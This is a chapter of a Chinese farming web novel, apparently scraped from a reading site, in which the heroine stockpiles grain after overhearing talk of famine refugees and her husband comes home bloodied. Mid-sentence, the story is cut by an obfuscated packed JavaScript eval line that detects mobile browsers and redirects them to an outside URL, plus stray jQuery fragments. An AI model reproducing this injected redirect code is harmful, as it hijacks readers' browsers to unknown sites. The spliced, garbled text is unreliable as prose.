13. 第13章

作品:《溪畔农家种田日常

    掌柜无声打量许梨一眼,直觉她不像来吃酒的,便有些轻慢。


    他鼻孔朝三人抬了抬“想吃些什么”


    许梨本想跟掌柜的谈一笔生意,见他一副狗眼看人低的做派,正要嘲讽两句,却被旁边那桌衙役压在嗓子眼儿的声音吸引。


    “晦气……饥荒……南下……流民……”


    几个零星字眼蹦进耳朵,她心里一惊,刻意放慢脚步想要听个仔细。


    其中一个五大三粗的衙役猛拍桌子“你这妇人,贼眉鼠眼,再鬼鬼祟祟,老子把你耳朵割掉下酒吃!”


    沈氏一把将许梨推到门外,毕恭毕敬作揖讨饶“官爷莫怪!官爷莫怪!我这妹子耳背……”


    听她解释一番,那人冷哼一声“滚!死聋子”


    出了门,逃到僻静处,许梨才来得及把听到的只言片语告知宋家妯娌,“听他们的意思有饥民要南下了,不知会不会来镇上,到时候闹起来,粮食怕是要涨价了。”


    庄稼人把土地当成命根子,若不是实在过不下去,谁愿意背井离乡离开赖以生存的土地?


    这样的人,为了一口吃的,什么事都做得出来。


    在末世,她见过太多人,为了不被饿死,烧杀抢掠,无恶不作,也见过太多人趁乱哄抬物价大赚横财。


    眼看着麦子再有一个多月就要收割了,大河村很多人去年的粮食交完税后所剩不多,又无太多闲钱,只敢一个月两个月的买粮食。


    如果真有饥民南下,粮价数月之内怕是都将居高不下,不趁没涨价前多买一些,到时候肯定得饿肚子。


    经历了饿殍遍野、以人为食的末世,她怕极了这种绝望与无助感。


    沈氏一听,破口大骂“无能朝廷!就这么眼睁睁任饥民南下,不赈灾?”


    梅氏一把捂住她的嘴“弟妹,祸从口出。”


    还有一两柱香时间就要关城门,许梨匆忙将身上的钱都取了出来——家中白日仅阿宁在,为保险起见,她把所有的钱都缝在衣服夹缝里。


    加上陆柏给的彩礼,拢共有二两左右。


    宋家妯娌身上也不过堪堪20多文。


    许梨带着二人直奔粮店而去。


    如今的粮价尚且合理——精米、白面略贵,庄稼人当然首选糙米跟灰面。


    许梨咬咬牙,买了十五斗糙米、二十斗灰面,又去隔壁盐铺买了三斗盐,拢共花了将近一两。


    她把另外的一两借给宋家妯娌,她们买了差不多的糙米、灰面跟盐。


    商家看他们买的多,二话没说让几个伙计帮忙扛到了城门口等着的牛车上。


    有财叔看着好几袋粮食跟乱七八糟的背篓、砧板等,摸了摸牛头,脸色有些不好看“拉恁多粮食?比你三人加起来都重。”


    许梨将剩下的三个铜板递给他“有财叔,多担待。”


    这是额外给的钱,早上出发时三人已将今日来回车费付过了。


    有财叔老脸这才没拉那么长,只摇头道“你仨人忒不会过日子,麦子马上下来了,还没恁多粮食,钱放手里多好?”


    心里还默默骂了句败家了娘们!


    许梨懒得跟他解释太多,只浅浅一笑“就怕遇上有钱买不到粮的时候。”


    虽然,她也不希望这样的事情发生,但疫情时有钱买不到粮食蔬菜只能高价囤货的后遗症,以及末世的艰难,让她不得不未雨绸缪。


    沈氏看不惯有财叔爱贪小便宜的做派,阴阳怪气道“就怕出个什么意外,粮价飞涨,过了这个春就没这个价!”


    有财叔不以为然“天下太平、风调雨顺,还能有啥意外?别自个儿吓自个。”


    许梨想说,十里不同天,大河村风调雨顺,北方可就不一定了,再加上春天青黄不接……但她瞟一眼嗤之以鼻的有财叔,就懒得再鸡同鸭讲。


    牛车运了大几百斤重的粮食,回到大河村时天已黑透,阿宁、宋家爷孙几个,都在村口张望,见他们回来才舒了口气。


    陈桂花看着车上的粮食很是疑惑“有财叔,你家要办喜事吗?一口气买这么多粮食?”


    有财叔朝沈氏努努嘴“她们买的!”


    陈桂花气不打一处来“败家玩意儿,怕不是饿死鬼投身?家里还有足够吃大半个月的粮食,还不够造的,还买这么多干啥?放着发霉受潮白白糟蹋?”


    对于庄稼人而言,铜板比粮食难挣多了——只要人勤快些,吃惜顾些,是不用买太多粮食的。


    许梨招呼阿宁抬粮食“干娘,先把粮食弄回家,我等会跟你说。”


    有财叔饿着肚子,有些不耐烦地催促“麻利着些,饿得老汉我快前/胸/贴后背了。”


    早知道要磨蹭到这时候,真该问她们多要俩铜板。


    陈桂花一听不乐意了“催啥催?好你个王有财,这十多天里她仨每天坐你车,还不够照顾你生意?村里又不是只你一家有牛车!”


    有财叔讪笑“瞧嫂子你说的,俺就是饿了。”


    说着就要帮忙搬粮食。


    宋老头摆摆手“屁重点东西,不用你搭手。”他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319718|167423||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    麻利地卸下所有粮食。


    有财叔生怕许梨他们以后不坐自家牛车,忍了忍,还是陪笑道对梅氏道“明儿个要是还去镇上,一大早去知会我一声。”


    梅氏淡淡点头。


    宋家老两口跟妯娌帮许梨将粮食搬运回家,许梨顺势与老两口说了镇上的事儿。


    “那怕是还买少了!”陈桂花皱眉“柏哥儿家人少,这三四百斤粮食还能顶上些日子,我们家好几口人哩,不怕一万就怕万一……”


    宋老头将信将疑“也没听见啥动静啊,要是粮食不涨价,买恁多粮食,怕是要吃到夏天了。”


    陈桂花啐了一口“你个老不死的,拉屎才想起挖茅坑,早逑晚了!这些粮食保存妥善,糟蹋不了,到时候新粮下来咱自己吃存粮,把新粮卖了,也亏不了!”


    新粮肯定比陈粮贵。


    许梨收到宋家还的那一两银子,打算第二天再去镇上买一些药物——饥荒往往伴随瘟疫。


    半夜,一阵越来越重的敲窗声响起,许梨明明听见了,却怎么也醒不来。


    梦魇里,她为了抢夺一块落在泥水里的饼,被个五大三粗地男人一遍又一遍将头压进泥水里,反反复复的窒息感,让她恐惧又绝望。


    她痛哭、挣扎,呼吸急促,在万籁俱寂的夜里,听得十分清晰。


    “梨娘?梨娘,你咋了?”男人声音急促,十分担心,又去敲打阿宁的窗。


    “阿宁阿宁,快醒醒,开门!”


    阿宁被吵醒,迷迷糊糊帮陆柏开了门,只见月光下的男人头发杂乱,刺鼻的血腥味熏得人想吐“姐夫!你受伤了?”


    陆柏没理她,直接将两袋粮食扔在地上,重重推开许梨房门,又凶又急地将她扶起来靠在自己怀里,一遍又一遍触摸她依然瘦削的脊背,冰冷的唇贴在她的额头上。


    在外做工的日子,他从来没有这样挂念一个人。


    每个晚上,他都忍不住想起那双清澈如同鹿儿的眼睛,以及浅浅的梨涡。


    怕她被人欺负,怕她初来乍到不适应,甚至怕她悄悄跑掉。


    对一个近乎陌生的人,如此挂念,让陆柏自己都觉得不可思议,也许一个人生活久了,突然闯进一个人,让孤独、日复一日的日子有了些许温暖,他就忍不住想紧紧握在手心……


    许梨哽咽着挣扎着从噩梦里醒来,看见眼前快把自己箍得窒息的男人,她犹犹豫豫抬起胳膊,却在闻见浓郁血腥味时彻底苏醒,她将胡子拉碴的男人用力扯开,目光在他浑身上下逡巡“你受伤了?”